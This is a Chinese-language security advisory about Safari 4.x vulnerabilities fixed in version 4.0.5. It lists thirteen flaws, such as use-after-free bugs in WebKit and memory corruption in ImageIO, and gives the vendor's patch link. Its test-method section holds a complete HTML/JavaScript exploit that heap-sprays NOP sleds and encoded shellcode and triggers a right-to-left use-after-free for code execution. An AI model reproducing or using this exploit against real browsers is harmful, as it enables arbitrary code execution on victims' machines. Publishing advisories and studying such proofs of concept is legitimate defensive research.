安全研究

安全漏洞
Safari 4.0.5版本更新修复多个安全漏洞

发布日期:2010-03-15
更新日期:2010-03-16

受影响系统:
Apple Safari 4.x
不受影响系统:
Apple Safari 4.0.5
描述:
BUGTRAQ  ID: 38674,35451,38676,38677,38673,38675,38683,38684,38687,38688,38689,38685,38692,38686,38690,38691
CVE(CAN) ID: CVE-2010-0040,CVE-2010-0041,CVE-2010-0042,CVE-2010-0043,CVE-2010-0044,CVE-2010-0045,CVE-2010-0046,CVE-2010-0047,CVE-2010-0048,CVE-2010-0049,CVE-2010-0050,CVE-2010-0051,CVE-2010-0052,CVE-2010-0053,CVE-2010-0054

Safari是苹果家族机器操作系统中默认捆绑的WEB浏览器。

远程攻击者可以利用Safari浏览器中的多个错误读取敏感信息、绕过安全限制或执行任意代码。

1) ImageIO在处理BMP和TIFF图形时的错误可能导致从浏览器内存泄露某些数据,或触发内存破坏导致执行任意代码。

2) 在查看或更新RSS或Atom源时的错误可能导致绕过Accept Cookies首选项并设置cookie。

3) 处理外部URL主题时的错误可能导致打开任意本地文件。

4) WebKit在处理CSS format()参数时的内存破坏可能导致执行任意代码。

5) WebKit在处理HTML对象元素fallback内容时的释放后使用错误可能导致执行任意代码。

6) WebKit在解析XML文档时的释放后使用错误可能导致执行任意代码。

7) WebKit在处理包含有从右至左文档的HTML元素时的释放后使用错误可能导致执行任意代码。

8) WebKit在处理嵌套式HTML标签时的释放后使用错误可能导致执行任意代码。

9) WebKit在处理对HTML元素回调时的释放后使用错误可能导致执行任意代码。

10) WebKit在渲染CSS显示属性设置为run-in的内容时的释放后使用错误可能导致执行任意代码。

11) WebKit在处理HTML图形元素时的释放后使用错误可能导致执行任意代码。

12) ColorSync中的整数溢出允许用户通过特制的嵌入式颜色配置文件执行任意代码。

13) 在处理同源样式表请求时的错误可能导致从其他域泄露数据。

<*来源:Matthew Jurczyk
        Billy Rios
        Robert Swiecki (robert@swiecki.net
        wushi (wooshi@gmail.com
  
  链接:http://secunia.com/advisories/38932/
        http://marc.info/?l=bugtraq&m=126868751702216&w=2
        http://support.apple.com/kb/HT4070
        http://marc.info/?l=bugtraq&m=126876099929769&w=2
        http://marc.info/?l=bugtraq&m=126877936124821&w=2
        http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=863
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<HTML lang="en">
  <HEAD>
<script type="text/javascript">//<![CDATA[
function fuzz_load(){
spray2();
e=document.getElementsByTagName("FORM")[0];
e.previousSibling.dir="rtl";
//e.previousSibling.style="font-size:111px;";
setTimeout('fuzz_timer_0();',1);
}
function spray2(){
var shellcode ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ;

var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
   spray += spray;
} while(spray.length < 0xc0000);
memory = new Array();
for(i = 0; i < 50; i++)
   memory[i] = spray + shellcode;

}
function calc(){
var s0 ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ;


var addr1= unescape("%u9090%u9090");
var addr2= "\uc5c6\uc7c9";

var addr3="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";



var addr4="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";
var addr5="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";
var addr6="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";

}
function fuzz_timer_0(){

e=document.getElementsByTagName("NOBR")[0];

e.innerHTML='';

calc();

document.lastChild.normalize();

}
//]]>
</script>
    
    <code>1111
        <AREA>13333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
          <FORM >
            <NOBR /><BIG />
          </FORM>
          </AREA>

    
    </code>    
      </A>
  </HEAD>  
  <BODY dir="rtl" onload="fuzz_load();">
  </BODY>  
</HTML>

建议:
厂商补丁:

Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.apple.com/safari/download/

浏览次数:4237
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障